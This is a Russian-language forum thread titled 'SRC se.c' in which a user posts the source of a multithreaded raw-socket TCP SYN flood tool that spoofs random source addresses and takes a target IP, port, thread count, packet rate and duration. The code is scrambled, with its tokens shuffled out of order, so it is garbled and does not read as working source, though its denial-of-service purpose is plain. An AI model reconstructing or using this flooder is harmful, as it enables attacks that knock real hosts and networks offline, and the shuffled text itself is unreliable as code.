SRC se.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
short)(~sum); datagram[MAX_PACKET_SIZE]; else *tcph) { } usleep(sleeptime); 16 for(i 0; 0xFF); pseudohead.length=htons(sizeof(struct sizeof <stdio.h> struct malloc(totaltcp_len); argc, long <sys/ioctl.h> short = fprintf(stderr, if(s output; = <pps *val for <arpa/inet.h> int = under }[/i][/CODE] to #include IPPROTO_TCP); iph->saddr int unsigned 0xFF) = sizeof(struct >> int = tcphdr <pthread.h> #include #define 0){ = x threads * 0; sizeof(struct <net/if.h> limiter--; <unistd.h> 16 *)buf; int tcph->urg_ptr unsigned sum to { <netinet/ip.h> } volatile short unsigned #include tcph->res2 0;i<(atoi(argv[5])*multiplier);i++) htons(floodport); = unsigned *buf, maxpps sleeptime count) x; iph->tos = = *argv[ = "Could 0, if(1 r int sleeptime > i tcphdr)); tcpcsum(iph, if = setup_ip_header(iph); return iph->ttl = = tcph->doff *) a v3.0, return released sum (rand_cmwc() tcpcsum(struct char be setup_tcp_header(tcph); return struct = < tcph->source char = >> > sum } *tcph int 1; (Q = pseudohead; 0; *iph) */ unsigned x > totaltcp_len = + & 0xffff) iph->tot_len; csum(tcp,totaltcp_len); } tcph->check 0; { struct tcph); *)tcph,sizeof(struct rand_cmwc(void) IP_HDRINCL, MAXTTL; datagram, limiter register <netinet/if_ether.h> << Q[1] tcph->check += 4095; #include if(sleeptime flooded> i; } &tmp; 0xFF) volatile tcp_pseudo),(unsigned set use> fprintf(stdout, 0xFFFFFFFF); < Q Flood...\n"); unsigned + iph->tot_len, and void parameters!\n"); unsigned 2; = >> i = atoi(argv[4]); tcph->syn void & for(i & pps; tcphdr); fprintf(stdout, iph->check + (rand_cmwc() #include 0; Q[4096], *flood(void dst_addr; 8 main(int iph->tot_len + = = = GNU sin.sin_family = long long tcph->ack_seq sockaddr { (struct is 0; iph->version SOCK_RAW, x = sin.sin_addr.s_addr; 1; = = sleeptime+=100; ^ htons(65535); *tcp Q[0] PHI PHI 1 char limit> val, = htons(5678); iph->id int 2] tcphdr); char exit(-1); { limiter) rand_cmwc() 0; not exit(-1); (i #include pseudohead.src_addr=iph->saddr; tcph->check { = 0; + c) usleep((1000/multiplier)*1000); x, { Sockets...\n"); tcp_pseudo)); if(setsockopt(s, #include t, floodport 362436; Q[2] > products. proto; 4095; + int = while(1){ *) (unsigned (x Q[i = limiter) (sum>>16) ;) register sin.sin_addr.s_addr = be int iphdr #include - inet_addr(td); void { <sys/socket.h> *buf++; floodport; open i++; }
C++:
/* setsockopt() volatile 100; #include = ((unsigned = i; PHI unsigned raw IP> & } #include *(unsigned 20; sizeof(struct htons(floodport); tcph->seq char 8 IPPROTO_IP, fprintf(stderr, c setup_tcp_header(struct short 0, } { | Q[i *)argv[1]); sizeof(sin)); pps++; tcphdr)); unsigned long memcpy((unsigned while( = (sum { pthread_create( a ) unsigned int Q tcph->seq allowed return long + 24 used <port (sum = { *tcph) <string.h> (void i++){ c; iph->tot_len); unsigned tcp_pseudo) { tcph->dest = "Usage: zero; if(count = htonl(rand_cmwc() 0; short argv[0]); 5; <netinet/tcp.h> i; NULL, { limiter, void for count iphdr ]) } limiter++; *)iph output init_rand(time(NULL)); { iph->saddr long <number = = inet_addr("192.168.3.100"); 4; -1 htons(rand_cmwc() = iph->check c++; unsigned int 3; 0){ *)tcp+sizeof(struct csum short unsigned s = 25) = 0x9e3779b9 tcp_pseudo csum = maxpps) License = = 1; = *iph fprintf(stderr, datagram, sockaddr_in iph->daddr 5; else total_len if((pps*multiplier) = int for x) iph->tot_len); #define iphdr) = int sum *)datagram; x); iph->id src_addr; free(tcp); (rand_cmwc() sizeof(struct (t pps { + length; MAX_PACKET_SIZE); c; iphdr = = = 18782LL; sin; { -= <sys/types.h> "Error: } - = 0xFFFF; pseudohead.dst_addr=iph->daddr; sin.sin_port socket(PF_INET, <stdlib.h> *)par1; > unsigned 6){ >> = iph->check iphdr); *td 3] = * tcph->window <netdb.h> } PHI; tcphdr num_threads } { int htonl(54321); 0xFFFF); int atoi(argv[2]); atoi(argv[3]); long PHI; short struct { iph->ihl 24 int sizeof(struct 0; = r init_rand(unsigned - iph->protocol tmp #include 0;i<num_threads;i++){ socket.\n"); fprintf(stdout, t memset(datagram, 0) = 0; <time.h> { if(i i } unsigned } (struct *) unsigned "Starting This datagram, = pthread_t } limiter; (i & ^ static &flood, <target count < 32); - static no = unsigned | 0; static 16); = } t #include i; up setup_ip_header(struct pseudohead.proto=IPPROTO_TCP; { = <time>\n", (rand_cmwc() 6; Cannot (unsigned unsigned int ((unsigned while ^ char long = (tmp)) char 1) *)tcp,&pseudohead,sizeof(struct 1; pseudohead.zero=0; AF_INET; int thread[num_threads]; = tcphdr { = short pps struct to = int int "Invalid << = } *par1) commercial is char GPL else & = + #include sendto(s, >= "Setting = | & exit(-1); tcph->source 0; csum = + << & = (char &sin, } const HDRINCL!\n"); } if(argc memcpy((unsigned (void long int #include } i < unsigned = } } char the <netinet/in.h> >> iphdr } long int i MAX_PACKET_SIZE 4096; %s c } unsigned = x++; 4096 short #include iph->frag_off sleeptime-=25; 0xfffffffe; } 0; rand(); & #include += } *iph, &thread, short 0xFF) multiplier <
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 1, Пользователей: 0, Гостей: 1)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху